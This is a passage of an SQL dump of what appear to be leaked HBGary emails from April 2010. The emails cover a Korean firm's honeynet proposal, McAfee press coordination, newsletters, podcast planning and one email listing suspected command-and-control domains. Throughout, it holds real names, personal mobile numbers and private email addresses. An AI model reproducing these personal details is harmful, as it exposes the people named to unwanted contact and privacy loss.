effectively.\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFrom the earned information to picked and aimed, they want to\r\nsystemize the processes to collect, analyze and categorize malicious activities\r\nand so on.. \r\n\r\n&nbsp;\r\n\r\nThose are the minimum\r\nrequirement from customer and actually, I just have a concept to build;\r\nhowever, I don&#8217;t have experience build in real. \r\n\r\nThat is the reason why\r\nI need you and your team Maria. \r\n\r\n&nbsp;\r\n\r\nAs I requested before,\r\nI wish to get answer for what I asked you last time. \r\n\r\nAlso, I wish to get\r\nyour suggestion to hand over requirement to do this project, anything to help\r\nto keep this project is ours. \r\n\r\nAnd if you can, please\r\nbriefly let us know how you can do this. \r\n\r\n&nbsp;\r\n\r\nI wish get your answer\r\nfor this today, if possible. \r\n\r\n&nbsp;\r\n\r\nAs I mentioned above,\r\nit is running out of time and we just have one or two day to hold to fix the\r\nRFP from customer. \r\n\r\nIf you can help us,\r\nyour guide and requirement become customer&#8217;s demand and we\r\ncan get the project to drive. \r\n\r\n&nbsp;\r\n\r\nPlease answer me today\r\nthrough email and call. \r\n\r\n&nbsp;\r\n\r\nI will wait for your\r\nanswer both communication way. \r\n\r\n&nbsp;\r\n\r\nHave a good day.. and\r\nbe well.. \r\n\r\n&nbsp;\r\n\r\nBest regards \r\n\r\n&nbsp;\r\n\r\nJason &nbsp;\r\n\r\n&nbsp;\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 01, 2010 4:16 AM\r\nTo: Jason Lee\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: Re: [Softwide] Deal and SI project requesting\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHello Jason\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am going to refer your questions to Phil Wallisch -- a\r\nlead security engineer at HBGary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhil is currently on vacation but will be available next\r\nweek to respond to your request --&nbsp;this sounds very interesting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have a requirements document that you can send to us\r\nfor review?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Mar 31, 2010 at 9:04 AM, Jason Lee &lt;jason@softwidesec.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi..\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nJason Lee from Softwide Security. \r\n\r\n&nbsp;\r\n\r\nIt\r\nis first time contact you, but I wish that you can help us to support our\r\nproject and deal. \r\n\r\n&nbsp;\r\n\r\nHere\r\nI have something to discuss and get an answer for your support. \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nOur biggest customer want to have a project to build a honey net to\r\ncapture traffic to collect and analyze malicious packet, file, attack &#8230;\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor this project, I believe they might need to purchase your product to\r\nanalyze captured traffic, files and activities. \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey also want to build a honey-net with professional people who have\r\ndone this before. \r\n\r\n&nbsp;\r\n\r\nI\r\nbelieve that you might interesting about this project since your CTO have done\r\nmany reverse, analyzing work for Malicious file and other. \r\n\r\n&nbsp;\r\n\r\nI\r\nwould like to hear from you:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nDo you and your team want to do this project with us?\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nActually, I wish you take this case to do this project since it is a\r\nreally good chance to have a good relationship with most biggest Korean\r\nCustomer.\r\n\r\nB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI believe that you and your team already have done this kind of project\r\nfor your government there. \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf you can want to do this project, can you estimate the size of project\r\ncost and how long does it take and how many of you and your team come to Korea?\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou can put the period as you really need to put\r\n\r\nB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou should estimate the number of people what who can support to finish\r\nthis project\r\n\r\nC.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou have to give us the exact cost for whole project including\r\naccommodation in Korea.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf possible, I wish to talk through phone line to discuss about this project.\r\n\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nI called your represent phone number this morning, but no one get answer\r\n;(, please..\r\n\r\n&nbsp;\r\n\r\nThere\r\nis a good news that we can create RFP for this project then, feel free to tell\r\nme what necessary things that I have to put for this project.\r\n\r\n&nbsp;\r\n\r\nI\r\nwish to hear from you ASAP.\r\n\r\n&nbsp;\r\n\r\nHave\r\na good day.. and be well.. \r\n\r\n&nbsp;\r\n\r\nBest\r\nregards \r\n\r\n&nbsp;\r\n\r\nJason\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJason Lee\r\n\r\nC.T.O. / Senior Consultant \r\n\r\n\r\n\r\nSoftwide Security, Inc.\r\n\r\n5th LV, HakDong Building\r\n\r\n81-5, NonHyund-Dong, \r\n\r\nGanNam-Gu, SEOUL\r\n\r\nRepublic of Korea\r\n\r\nZIP 135-010\r\n\r\nMobile: +82 17 659 1906\r\n\r\nOffice: + 82 2 6052 5700\r\n\r\nFax: + 82 3665 3519\r\n\r\nIM: jaisonyi@hotmail.com(MSN, NATE, SkyPE)\r\n\r\nAlter E-mail: jaisonyi@gmail.com \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7217,'aaron_hbgary_com/7217.html'),(5028,'2010-04-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003220.M429208P3547Q5028.eml','all@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','FW: Any New\'s on updating press release?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAnnouncing HBGary&#8217;s co-selling\r\nwith McAfee\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nEric_Renner@McAfee.com [mailto:Eric_Renner@McAfee.com] \r\nSent: Wednesday, April 07, 2010 4:04 PM\r\nTo: penny@hbgary.com\r\nCc: Namit_Arora@McAfee.com; Deepak_Thakkar@McAfee.com\r\nSubject: RE: Any New\'s on updating press release?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Penny,\r\n\r\n&nbsp;\r\n\r\nNamit just advised me that this\r\nhas been corrected immediately:\r\n\r\nhttp://finance.yahoo.com/news/CORRECTING-and-REPLACING-bw-2099197716.html?x=0\r\n\r\n&nbsp;\r\n\r\nAgain, we are very sorry for\r\nthis mistake and appreciate your understanding.&nbsp; Looking forward to\r\ntalking with you soon.\r\n\r\n&nbsp;\r\n\r\nBest regards,\r\n\r\n\r\nEric\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nEric Renner\r\nDirector, Business Development - SIA\r\nMcAfee, Inc.\r\nDirect: 408.346.5451 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, April 07, 2010 3:46 PM\r\nTo: Renner, Eric; Arora, Namit\r\nSubject: RE: Any New\'s on updating press release?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK,\r\nthanks\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Eric_Renner@McAfee.com\r\n[mailto:Eric_Renner@McAfee.com] \r\nSent: Wednesday, April 07, 2010 3:44 PM\r\nTo: penny@hbgary.com; Namit_Arora@McAfee.com\r\nSubject: RE: Any New\'s on updating press release?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nNamit\r\nand I discussed this immediately after our call.&nbsp; He&#8217;s doing everything he\r\ncan to make this happen and will be able to provide an update shortly.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nEric\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nEric Renner\r\nDirector, Business Development - SIA\r\nMcAfee, Inc.\r\nDirect: 408.346.5451 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, April 07, 2010 3:42 PM\r\nTo: Arora, Namit; Renner, Eric\r\nSubject: Any New\'s on updating press release?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDo you know when the Press Release\r\nwill be updated?&nbsp; We&#8217;d like to tweet about it tonight\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient,\r\nbe advised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8628,'aaron_hbgary_com/8628.html'),(5029,'2010-04-08','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297003220.M624835P3547Q5029.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 4/07/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Mar 31 - Apr 7\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                  Sid Fuchs has added new links: Website\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                        Sid Fuchs is now Chief Operating Officer at ATSC\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Mike Steinmetz has an updated profile (Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nRT @WillNoel: Baltimore Sun celebrates Walters digital manuscript Initiative, courtesy of #NEH http://ow.ly/1v7QQ      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Chris Collins\r\na tip of the hat to the EA game in #Unity3d: http://bit.ly/aJR3Ww      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Paul Thrasher has joined\r\n    Cyber Intelligence Network\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Chris Collins has joined\r\n    Conversations On Cloud Computing\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Jose Sandoval has joined\r\n    TASC Employees\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Lisa Jones has uploaded a new profile picture\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n  Mohannad H. Gomaa, MBA PMP FE has uploaded a new profile picture\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Chris Collins was recommended by\r\ncolleague      Nate Cho\r\n        Chris has been a pleasure to work with always looking for ways to improve the relationship, and alwa...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Eric Hallam was recommended by\r\ncolleague      David Lirette\r\n        I consider Eric an extremely strong performer and leader. Eric always helped me solve overall proble...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    David Lirette recommends\r\ncolleague      Eric Hallam\r\n          Program Control Analyst at Northrop Grumman Corporation\r\n        I consider Eric an extremely strong performer and leader. Eric always helped me solve overall proble...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',6556,'aaron_hbgary_com/6556.html'),(5030,'2010-04-07','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297003220.M853790P3547Q5030.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Palantir GovCon','April 7, 2010 9:00 AM : Palantir GovCon \r\n',16408,'aaron_hbgary_com/16408.html'),(5031,'2010-04-08','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297003221.M352078P3547Q5032.eml','aaron@hbgary.com','Q&A with Ted Leonsis on \"The Business of Happiness\"','\r\n\r\n\r\n\r\nView in Browser\r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon\r\n Executive&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBy Jim\r\n GarrettsonApril 8,\r\n 2010Q&A with Ted Leonsis on\r\n \"The Business of Happiness\"\r\n Being successful starts with being happy. Personally happy.\r\n It\'s something Ted Leonsis, former AOL vice chairman, owner of the Washington\r\n Capitals, film producer, and philanthropist knows about first-hand &#8212; thanks\r\n to a life-changing moment.Click Here to Read\r\n More&nbsp;Three Changes for Navy\'s Success in\r\n Information Age Warfare from CIO Robert\r\n Carey&nbsp;&nbsp; \"A lot\" needs to be done to prepare the Navy for Information\r\n Age warfare, according to Navy CIO Robert Carey.&nbsp; He listed the three most\r\n important changes that the Navy needs to make to stay dominant in the 21st\r\n Century. Click Here to Read\r\n More&nbsp;\r\n \r\n\r\n\r\n\r\n\r\nCyber Spies\r\n Attack Contractors \"Every\r\n Hour\"\r\nDefense\r\n contractors are under consistent attack by foreign intelligence services\r\n attempting to gather intelligence related information, according to a report by\r\n the Defense Security Service. Instances of cyber espionage place the U.S.\'s\r\n competitive advantage, technical lead and military advantage at risk, as well as\r\n potentially compromising national security interests.&nbsp; Click Here\r\n to Read MoreGovernment\r\n Contractors to the Rescue The government contracting\r\n industry lends a helping hand when disaster strikes. Click Here to Read\r\n More\r\nInherently\r\n Governmental: Insourcing the Acquisition Process\r\n According to a new draft policy letter published by OMB last Thursday, the Office\r\n of Federal Procurement Policy will expand its definition of \"inherently\r\n governmental\" soon.&nbsp; The OFPP will now use the definition from the&nbsp;Federal Activities Inventory Reform Act (FAIR Act) of 1998,\r\n replacing the definition from&nbsp;Subpart 7.5 of the Federal Acquisition Regulation.&nbsp; We\'ll\r\n examine in this three-part series what these changes mean, especially in light of\r\n GAO findings that DoD does not adequately support contractor\r\n personnel.Click Here to\r\n Read More\r\n\r\nPeter\r\n LaMontagne on Paradigm\'s \'09 Fiscal NumbersParadigm\r\n Holdings, Inc. (OTCBB: PDHO) issued financial results for the fourth quarter and\r\n full year ended December 31, 2009.Click Here to\r\n Read More\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nHans Hollister of L3: \"Responsiveness is paramount\"\r\n Stan Sloane on SRA\r\n International Raising over $132,000 for Haiti Melissa Hathaway on\r\n Quantifying the Value of Cybersecurity Martha Johnson to\r\n Speak at Potomac Officers ClubJulie Kantor of NFTE\r\n on Dare to Dream Gala &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;Lockheed, Northrop,\r\n Raytheon Win Deals from Air Force&nbsp;Argon ST\'s Terry\r\n Collins on ISR Contract Win Accenture, Booz Allen,\r\n KPMG Ink Contracts with NavyGeneral Electric\r\n Pens Contract with Air ForceSRA Handed\r\n Half-Billion Dollar BPA from USDAThalesRaytheon Wins\r\n LCCS Support Follow-onCSC Appoints New\r\n President for Aussie OperationsArray\'s Sumeet\r\n Shrivastava Expanding State Department Presence with New Hires\r\n Gen. Robert Magnus\r\n Joins Board at CNA Orbital Acquires\r\n General Dynamics\' Spacecraft Business NGC \'Mentors\'\r\n Non-Profit to Better Assist Disabled Lockheed Blasts\r\n Satellite Out of Sky; Recieves Honor LSi Bags ISO\r\n 9001:2008, 20000:2005, CMMI ML 2CFHarris Corporation\r\n Reaffirms Leadership in Mobile TV Click Here for More\r\n GovConwireFirst Worldwide\r\n Cybersecurity Summit: Five reasons your company should attend\r\n Staying Anonymous in a\r\n Time of Surveillance Africa Could Become the World\'s Cyber Crime CapitalChina\'s Cyber\r\n Crime Problem. DHS to Provide\r\n In-Depth Look at Botnetttacks Lockheed Martin\'s\r\n Charlie Croom Takes Seat on NCSA Board Misunderstanding,\r\n Ignorance Reasons Why Businesses Lack Adequate CybersecurityMillions of\r\n Chinese Don\'t Use Anti-VirusGoogle to Update Buzz Privacy\r\n Click Here for More\r\n from The New New Internet\r\n\r\n&nbsp;Wannabe to Winner: How to Cultivate Success Northrop Bags a Slice of Billion-Dollar TASER\r\n DealDON\r\n CIO Robert Carey: Why the Future of the Naval Networking Environment Is Important\r\n SRA\r\n International Raises over $132,000 for Haiti\r\n Sarkozy Says EADS Will Play Ball on Refueling Bid\r\n Click\r\n Here for More from GovCon Executive\r\n Napolitano to Visit\r\n Spain to Discuss Terrorism, Gates Revamps Policy\r\n for Pentagon Navy to Tweak Social\r\n Media PolicyRestricted\r\n BlackBerry Use for AirmenEarth Day Celebrates\r\n EPA\'s 40th Anniversary New Pentagon CIO\r\n OMB\'s OFPP Issues\r\n \"Inherently Governmental\" DefinitionBiofuels Critical to\r\n National Security, Says Obama New Energy\r\n Initiatives to Improve Security DIA Deputy on Role of\r\n Women in Intelligence Click Here for More\r\n from ExecutiveGov\r\nVivek Kundra Offers\r\n Advice \r\nFederal CTO Aneesh Chopra\'s Advice on Getting His\r\n Job&nbsp;\r\n&nbsp;Mark Drapeau\'s Advice\r\n to Government Contractors Teresa Carlson on Push\r\n for More Future Math and Science Leaders Keith Fimian Speaks to\r\n Business Leaders at Tower ClubWood Parker of TASC on\r\n Navy Career \r\n\r\n\r\n\r\n \r\n\r\nHans Hollister of L-3: \"Responsiveness is paramount\"\r\n Hans\r\n Hollister is the Senior Vice President of Business Development for L-3 Global\r\n Security and Engineering Solutions. He is in charge of the entire strategic and\r\n tactical business development life cycle and we had the opportunity to learn from\r\n him his unique understanding of business development. Hollister offered advice to\r\n someone starting off their career in business development and told us of his\r\n extensive travel adventures. He also shared with us how he learned hard work at a\r\n young age in the way his parents raised him. Click Here to Read\r\n MoreStan Sloane on SRA\r\n International Raising over $132,000 for Haiti SRA International, Inc. raised more than\r\n $132,000 for victims of the recent Haitian earthquake through its program SRA\r\n CARES. Following the Jan. 12th earthquake, SRA employees have collectively donated\r\n more than $66K to relief organizations as part of the SRA HOPE for Haiti campaign,\r\n which was matched by SRA.&nbsp; The charity Project HOPE received total donations\r\n of $89K from the company and its employees.&nbsp; Other organizations received the\r\n remaining $43K. Click Here to Read More\r\n Melissa Hathaway on Quantifying\r\n the Value of CybersecurityMelissa Hathaway, author of the 60-day White House cybersecurity\r\n review and former acting senior director for cyberspace at the National Security\r\n Council, is promoting the American National Standards Institute and the Internet\r\n Security Alliance\'s 76-page report \"The Financial Management of Cyber Risk.\"&nbsp; Click\r\n Here to Read\r\n MoreMartha Johnson to Speak at\r\n Potomac Officers ClubThe General Services Administration (GSA) is currently\r\n testing a wiki to streamline the process for bidding vendors.&nbsp; The wiki will\r\n be tested on two requirements: data.gov and Clearpath.Click Here to Read\r\n MoreJulie Kantor of NFTE on Dare to\r\n Dream Gala The Network for Teaching Entrepreneurship is proud to be celebrating\r\n their 15th year anniversary working in partnership with local schools and having\r\n served over 21,000 local youth since 1994 in the Washington D.C. area. Julie\r\n Kantor is the national Vice President of NFTE and talked to us about the up and\r\n coming Dare To Dream Gala and more about the organization in general.Click Here to Read\r\n More\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Save the\r\n Date!\r\n\r\n&nbsp;What: The Small\r\n and Emerging Contractors Advisory Forum (SECAF) Awards Gala.When: Thursday, April 29,\r\n 2010Where:\r\n McLean Hilton, Tyson\'s Corner\r\n7920 Jones Branch\r\n DriveMcLean,\r\n Virginia&nbsp; 22102Tel:\r\n 1-703-847-5000&nbsp;&nbsp; Fax: 1-703-761-5100Why: The SECAF Awards Gala honors small and emerging\r\n government contractors and the players in the ecosystem that rely on small\r\n business.\r\nClick Here to\r\n Register.\r\n\r\n \r\n\r\n\r\n\r\nA Letter from the EditorThrough our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D.\r\n KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp; \r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',13794,'aaron_hbgary_com/13794.html'),(5032,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003221.M692069P3547Q5033.eml','\"Jake Olcott\" <Jacob.Olcott@mail.house.gov>','Introduction','Hey Jake,\r\n\r\nQuick question.  Do you think Jim Lewis would be interested in participating in a Podcast for Cybersecurity.  We are just kicking this format off and I thought he would be a good start.  If you think he might be interested could you make an introduction?  Sorry I know your busy.  If not the podcast I would even just like to talk to him to get his thoughts on what we are trying to achieve collectively.\r\n\r\nI want to bring together the technical, political, and organizational challenges in cybersecurity in a podcast type format.  Start with the person, their organization, roles, challenges, then do a one-on-one discussion of the cyber challenges, bringing together the totality of the challenge and some possible solutions.\r\n\r\nFrom a cyber intelligence perspective we are investigating the new mechanisms of command and control for CNE/CNA.  It is getting really complex and convoluted, integration of SIGINT, IO, CND is ever more important.  Any separation of communications and cooperation just aids the adversaries.\r\n\r\nWe are starting to work with the team that conducted the GhostNet and recent ShadowNet study.  They need some help integrating the malware analysis into their C&C and Social analysis work.  What I have discussed as true integration of cyber domains for threat intelligence is critical.\r\n\r\nAaron',4293,'aaron_hbgary_com/4293.html'),(5033,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003221.M80257P3547Q5031.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Google Alert - hbgary responder','Definitely strange, and definitely part of some type of C&amp;C. &nbsp;Look at the following domains.securityclearance.digest72.twitt.projetosc.com.br/ marryforeignerlosesecurityclearance/williamsburg.v87.media.networksexperts.com/ virginiametalcrafterswilliamsburgpineapplebrasstrivet/fumehood.on34.press.networksexperts.com/oshafumehoodaccidents/rideontoy.page70.www2.secretariasc.com.br/ dumarbatteryoperatedrideontoycarsparts/They are all auto-generated websites, same look and feel...BS information, with links to sitegogustavo.comI am going to keep digging. &nbsp;Most seem to have like domain registrations in Brazil. &nbsp;I think this guy is involved somehow&nbsp;Alfredo Tomio JrThese pages are also linked and have some weird like urls. &nbsp;Its all a bit overwhelming. &nbsp;I think the only way to make real headway is to get inside some of the C&amp;C and see how the traffic is moving around.AaronOn Apr 7, 2010, at 4:00 PM, Rich Cummings wrote:Below is an example of what I was referring too when we were talking about weird “random” pages like this one – look like possible command and control and “seemingly anonymous” intelligence collection. &nbsp;&nbsp;You should proxy through google (my recommendation) to view the site.&nbsp;&nbsp;I use sandboxie… you should get a copy for your windows browsing online.&nbsp; It sandboxes your browser so even if it gets compromised, it’s ok.&nbsp;I want to track this stuff in palantir and our TMC database…&nbsp;From:&nbsp;Google Alerts [mailto:googlealerts-noreply@google.com]&nbsp;Sent:&nbsp;Friday, March 19, 2010 10:31 AMTo:&nbsp;rich@hbgary.comSubject:&nbsp;Google Alert - hbgary responder&nbsp;Google Web Alert for:&nbsp;hbgary responderresponder&nbsp;-- how to perform first&nbsp;responder&nbsp;skills :: first&nbsp;...responder hbgary&nbsp;dump ppt whistle&nbsp;responder&nbsp;schematic first&nbsp;responder&nbsp;presentation wilderness firstresponder&nbsp;talkeetna wilderness first&nbsp;responder&nbsp;course&nbsp;...Tip: Use a minus sign (-) in front of terms in your query that you want to exclude.&nbsp;Learn more.Remove&nbsp;this alert.&nbsp;Create&nbsp;another alert.&nbsp;Manage&nbsp;your alerts.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9775,'aaron_hbgary_com/9775.html'),(5034,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003221.M883975P3547Q5034.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Re: Update on Podcast','Hi Karen,Jake (my congressional contact who knows Jim) has been on vacation the last couple of weeks and will be back on 4/12.That is running it pretty tight to get Jim Lewis by the 19th. &nbsp;Is that a hard start? &nbsp;Another good one might be the ShadowNet guys, in fact they might be a better first start for APT. &nbsp;We spoke to them yesterday at the Palantir conference and they want to get an NDA in place and start to work with us. &nbsp;They need malware analysis help to integrate into their analysis.http://www.wired.com/threatlevel/2010/04/shadow-network/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+wired%2Findex+%28Wired%3A+Index+3+%28Top+Stories+2%29%29&amp;utm_content=Google+FeedfetcherAaronOn Apr 7, 2010, at 1:53 PM, Karen Burke wrote:Hi Aaron, I just wanted to check in re the podcast on APT to see if you have finalized the interview guest and topic details. As I put in my original podcast plan, I wanted to schedule this podcast for April 19th. Do you think this is still possible? Once we have the details nailed down, we can start to promote it. Thanks! Best, Karen&nbsp;&nbsp;&nbsp; \r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9838,'aaron_hbgary_com/9838.html'),(5035,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003222.M264549P3547Q5036.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: [Softwide] Deal and SI project requesting','yeah.Cyber Threat Analysis Team // National Computing &amp; Information AgencyI don\'t think this is a good idea.AaronOn Apr 7, 2010, at 6:53 PM, Penny Leavy-Hoglund wrote:Cyber Threat Analysis Team // National Computing &amp; Information Agency\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16217,'aaron_hbgary_com/16217.html'),(5036,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003222.M481714P3547Q5037.eml','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>','Event accepted: HB Gary New Product Demo / Discussion at US CERT','Aaron Barr has accepted your iCal event invitation to the event: HB Gary New Product Demo / Discussion at US CERT, scheduled for April 21, 2010 at 9:30 AM (Eastern Standard Time).',6874,'aaron_hbgary_com/6874.html'),(5037,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003222.M684573P3547Q5038.eml','\"Racz, James M\" <james.m.racz@lmco.com>,\"Racz, James M\" <james.m.racz@lmco.com>','Re: Release of Your POC Contact Information to the entire UNO Team','HBGaryAaron Barr719.510.8478aaron@hbgary.comOn Apr 7, 2010, at 10:58 AM, Racz, James M wrote:Dear UNO Teammate:&nbsp;The UNO Sponsor would like the PMO to share UNO Team contact information among all the entire 90+ member UNO Team only.&nbsp; I would like your company confirmation/approval to provide your data to your UNO Teammates.&nbsp; I would simplify the detail and provide only one technical POC name and contact information.&nbsp; &nbsp;If you concur, please provide me the following format:&nbsp;Company Name, POC Name, Telephone Number, E-mail address&nbsp;Thank You&nbsp;Jim RaczLSE, UNO Program703 